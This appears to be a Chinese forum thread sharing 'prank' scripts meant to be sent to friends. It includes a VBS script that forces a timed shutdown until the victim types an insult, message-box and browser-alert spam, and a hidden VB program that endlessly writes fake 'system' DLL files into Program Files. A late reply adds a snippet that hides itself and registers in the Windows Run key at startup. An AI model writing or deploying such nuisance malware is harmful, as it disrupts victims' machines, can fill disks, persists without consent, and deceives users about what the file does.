`
yidongkaifa
  • 浏览: 4038154 次
文章分类
社区版块
存档分类
最新评论

脚本语言整人代码

 
阅读更多

这个是收藏的很有意思,想和大家分享就发表了吐舌头

WScript.Echo("嘿,谢谢你打开我哦,我等你很久

拉!"&TSName)

WScript.Echo("你是可爱的小朋吗?")

WScript.Echo(",我想你拉,这你都不知道吗?")

0

举报 | 2011-06-01 20:46回复

菊花爆开

电白自学

2

WScript.Echo("怎么才来,说~是不是不关心我")

WScript.Echo(",我生气拉,等你这么久,心都凉啦。")

WScript.Echo("小强很生气,后果很严重哦。")

WScript.Echo("嘿嘿!你也会很惨滴哦")

WScript.Echo("是不是想清除我?")

WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")

WScript.Echo("还剩49下,快点点哦")

WScript.Echo("还剩48下,快点,小笨蛋!")

WScript.Echo("还剩47下对,就这样快点点!")

WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰

你工作。")

WScript.Echo("还剩45下,记得要快哦!")

WScript.Echo("还剩43")

WScript.Echo("还剩42")

WScript.Echo("还剩41")

WScript.Echo("还剩40")

WScript.Echo("还剩39")

WScript.Echo("还剩38")

WScript.Echo("还剩37")

WScript.Echo("还剩36")

WScript.Echo("还剩35")

WScript.Echo("还剩34")

WScript.Echo("还剩33")

WScript.Echo("还剩32")

WScript.Echo("还剩30")

WScript.Echo("还剩29")

WScript.Echo("还剩28")

WScript.Echo("还剩27")

WScript.Echo("还剩26")

WScript.Echo("还剩25")

WScript.Echo("还剩24")

WScript.Echo("还剩23")

WScript.Echo("还剩22")

WScript.Echo("还剩21")

WScript.Echo("还剩20")

WScript.Echo("还剩19")

WScript.Echo("还剩18")

WScript.Echo("还剩17")

WScript.Echo("还剩16")

WScript.Echo("还剩15")

WScript.Echo("还剩14")

WScript.Echo("还剩13下停停!!!慢点,我有话要说")

WScript.Echo("还剩12下,你继续点我就会消失滴")

WScript.Echo("还剩11下,以后就看不到我拉。555555")

WScript.Echo("还剩10下,你现在可以选择停止!")

WScript.Echo("还剩9下。你还点啊,不要我拉?")

WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")

WScript.Echo("还剩7下。疯了,你有点负意!")

WScript.Echo("还剩6下。对。你就点吧,我恨你!")

WScript.Echo("还剩5下,不明白,删除我你就好吗?")

WScript.Echo("还剩4下!真要删除我?")

WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你

的!")

WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无

义!!!")

WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝

又给了一次机会。")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

两个整人的VBS脚本

测试环境:Windows 2003 系统

大家好我是Vanlisa QQ137841986

今天给大家带来两个整人的VBS脚本希望大家喜欢

VBS脚本大家都知道吧第一个是定时关机的

如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的

时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法

我们来看下这个脚本

--------------------------------------------------------------------------------

on error resume next

dim WSHshellA

举报 | 2011-06-01 20:46回复

菊花爆开

电白自学

3

set WSHshellA =wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r-t 180 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机,快撒,说""我是猪"" ","说不说","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) +a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell =wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown-a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"

--------------------------------------------------------------------------------

新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了

cmd.exe /c shutdown -r -t 180 -c

这里的数字可以修改关机时间 180

这些文字也可以自设这个脚本启用cmd 里的关机程序

如果不输的的话可以打开任务管理器输入shutdown -a 来解除我们试下这时定时关机已

经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe 这个进程就OK

了这时就完全解除这个脚本了 Wscript Windows 脚本宿主

-------------------------------------------------------------------------------------------

下面看第二个整人的脚本

-------------------------------------------------------------------------------------------

setws=createobject("wscript.shell")

call shutdown(1)

do while a<>"我是猪"

a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪""","输不输","")

loop

call shutdown(2)

msgbox "早说就行了嘛",4096+64

msgbox"再输一遍我是猪!",4096+64

msgbox"我是猪!",4096+64

MsgBox"最后一次!",4096+64

MsgBox"如果你很快的点过去,不看的话",4096+64

MsgBox"我就要你踩我空间的!!",4096+64

MsgBox"从前有座山!",4096+64

MsgBox"山里有个庙.",4096+64

MsgBox"庙里有个老和尚在讲故事.",4096+64

ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"

msgbox"哎呀累了!数绵羊哄我睡觉",4096+64

for i=1 to 100

MsgBox i&"只绵羊",4096+64

next

msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64

msgbox"最后问个问题,我是不是大好人!",4096+64

if inputbox("是不是","请选择","")<>"" then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

ws.run"cmd.exe /c shutdown -r -t 60-c",0

case 2

ws.run"cmd.exe /c shutdown -a",0

end select

end sub

--------------------------------------------------------------------------------

ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"

这段代码可以改成你自己设定的地址

如果别人不输我是猪的话就会一直点下去点到你设定的数字

for i=1 to 100

1100

可以改成 20 其他的数字

解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe

这个进程就好了

[color=#FF0000]复制以上代码,在桌面建一个文本,把代码放进去,另存为VBS格式,

举报 | 2011-06-01 20:46回复

菊花爆开

电白自学

4

此代码的威力:

1:开机就强制自动关机

2cmd命令打不开

3:结束任务不管用

4F8安全模式也不管用

呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、

代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,,

PS:不要乱拿软件去整人,发生什么事可不要怪我啊。。

拍拍手顶起吧!

网页整人效果代码

想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。

<html>

<head>

<metahttp-equiv="Content-Type" content="text/html;charset=gb2312">

<title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title>

</head>

<body>

<a href=""onMouseover="alert('为什么把鼠标放到这里?');

alert('我不是说过不可以这样吗?');

alert('你把我的话当什么了?');

alert('你知道错了吗?');

alert('什么?你居然....');

alert('居然还没意识到自己做错了?');

alert('那好,你要为此付出代价!');

alert('我要你在这里点足一千下......');

alert('什么?你开始有点后悔了?');

alert('何必呢?');

alert('你当初干什么去了?');

alert('不原谅你!');

alert('好从现在开始再点995......');

alert('你的手开始累了吗?');

alert('什么?你已经没力气了?');

alert('你一直在求我原谅你啊!');

alert('看来你是真的知道错了!');

alert('下次你还会这么做吗?');

alert('真的不会了?');

alert('那好,今天就放你一马!');

alert('写封信给我说声对不起!');

alert('你能这么做我很高兴!!!');

document.bgColor='black';

document.fgColor='White';

window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';">不许把鼠标移到这里</a>

嘻试吧爽噢。。

vbs整人代码

代码如下:

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

'声明变量,其中“count”为静态变量,以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

'定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

'生成文件的内容

nr = "哈哈,被黑的感觉的不错吧"

files = FreeFile

'如果a等于a那么就执行

If a = a Then

'count不断的加1,以便产生不同的文件名

count = count + 1

'产生文件名及文件句柄,并用count作为产生不同的文件名。

Open c & "system" & count& ".dll" For Append As #files

'向文件写内容

Write #files, nr

'清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示

Close #files

End If

End Sub

举报 | 2011-06-01 20:46回复

扯淡丶

虞冷暖丶

5

vbs是咩啊

举报 | 2011-06-01 20:48回复

扯淡丶

虞冷暖丶

6

VB

举报 | 2011-06-01 20:49回复

菊花爆开

电白自学

7

VBScript

举报 | 2011-06-01 20:51回复

扯淡丶

虞冷暖丶

8

引用电白自学 (7)VBScript

区别?

举报 | 2011-06-01 21:19回复

菊花爆开

电白自学

9

VBScript(Microsoft Visual Basic ScriptEditon).,微软公司可视化BASIC脚本版). 正如其字面所透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言...............直接从百科拉来的- -

举报 | 2011-06-01 21:23回复

112.3.254.*10

你妈的死垃圾!

举报 | 2011-06-02 12:03回复

Angel_天一色丶

11

就楼主会一点其他的没几个会的都不知道哪里抄的

举报 | 2011-10-06 18:34回复

安纾毅

12

我去。。真是。。绝了、

举报 | 2011-12-17 00:37回复

218.13.32.*13

举报 | 2011-12-22 08:41回复

QQ97000946

14

以下代码危险,请谨慎添加!!!

Private Sub Form_Load()

Form1.Visible = False '隐藏窗体

App.TaskVisible = False '在任务管理器中隐藏应用程序(不能隐藏进程)

Timer2.“” = 100 '“”中的代码我忘了,不过你懂的

End Sub

Private Sub Timer2_Timer()

i = i+1

if i = 1 then '0.1秒将自己写入开机启动注册表

Set W =CreateObject("wscript.shell")

on error resume next '忽略错误

W.regwrite"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & _

App.EXEName, App.Path & "\"& App.EXEName & ".exe"

i = 0

end if

end sub

分享到:
评论

相关推荐

    整人代码VBS脚本

    整人的代码哦,vbs脚本运行,可以修改扩展名为txt进行修改

    VBS脚本整人代码.doc

    VBS脚本整人代码.doc

    愚人节整人脚本

    简单的代码,实现愚人节的愚人效果,无毒无害,纯脚本语言

    编译性语言、解释性语言和脚本语言

    编译性语言、解释性语言和脚本语言 编译性语言、解释性语言和脚本语言

    tcl脚本语言 书籍

    要做自动化测试,可选的脚本语言有很多,TCL是我用过的比较强大的脚本语言,它是一种很通用的脚本语言,它几乎在所有的平台上都可以解释运行,功能强大。是tool command language的缩写,发音为 "tickle”, 实际上...

    一款基于JVM的脚本语言代码.zip

    一款基于JVM的脚本语言代码.zip一款基于JVM的脚本语言代码.zip一款基于JVM的脚本语言代码.zip一款基于JVM的脚本语言代码.zip一款基于JVM的脚本语言代码.zip一款基于JVM的脚本语言代码.zip一款基于JVM的脚本语言代码....

    vbs整人的代码无毒

    VBS脚本。也可学习VBS的编程,就是些整人玩的东代码,但是不是毒。TXT写然后后缀改为VBS就行了

    C#整人代码

    收集的一些网络代码,自己试试看吧。我个人觉得有一些还不错的,不过记得小心点哦。

    TASKING LSL 脚本语言介绍.pptx

    Tasking编译器链接脚本用法介绍,LSL脚本语言,用于给英飞凌系列的单片机软件开发的代码分配地址。

    脚本语言介绍及代码

    脚本语言是你简化操作的利器,实乃服务器维护人员,企业管理人员等必备

    北邮计算机学院程序设计实践脚本语言设计思路+python代码

    北邮计算机学院程序设计实践脚本语言设计思路+python代码

    Pine 脚本语言参考手册

    TradeView自己的一套脚本语言Pine Script的一些简单操作,这套轻量级的脚本语言简单易学,功能强大,不仅可以快速定制自己的交易指标,还可以让量化交易者快速回测自己的交易策略

    脚本语言与动态网页设计 课件 代码

    脚本语言与动态网页设计 课件 代码

    Swift:一种分布式并行脚本语言

    Swift:一种分布式并行脚本语言,详解它的特点、用法以及用途。

    3dmaxscript脚本语言完全学习手册

    maxscript语言是3ds max 自带的脚本语言,它不但拥有一般程序语言的所有特点,而且可以在程序内实现几乎所有在3ds max界面下的交互操作,功能非常强大,而且语法比较简单,容易上手。.  本书详细、系统地介绍了max...

    flash脚本语言大全

    flash脚本语言大全 flash脚本语言大全 flash脚本语言大全

    LUA脚本语言的实现C代码

    LUA作为一个轻量级的脚本语言,使用的挺广泛的,它的C语言实现才1w多行,非常适合研究一下,看高水平的代码才能提高水平!

    脚本语言编程脚本语言编程

    (3)在DW的代码视图下编写脚本程序; (4)使用预览功能运行脚本程序。 2、提示: (1)使用InputBox()函数输入n的值; (2)编写一个Function过程,用来计算阶乘; (3)使用循环结构计算e的值; (4)使用MsgBox...

    vc加入脚本语言代码

    在vc里界面上写入vb和javascript脚本语言源代码,并执行它,可运行。

    第4章__客户端脚本语言_java客户端脚本语言_

    java客户端脚本语言。JavaScript是一种嵌入HTML的脚本语言,它不需要编译,在客户端可以通过浏览器解释执行。JavaScript具有跨平台、基于对象和事件驱动的特点,同时它也具有一定的安全性。

Global site tag (gtag.js) - Google Analytics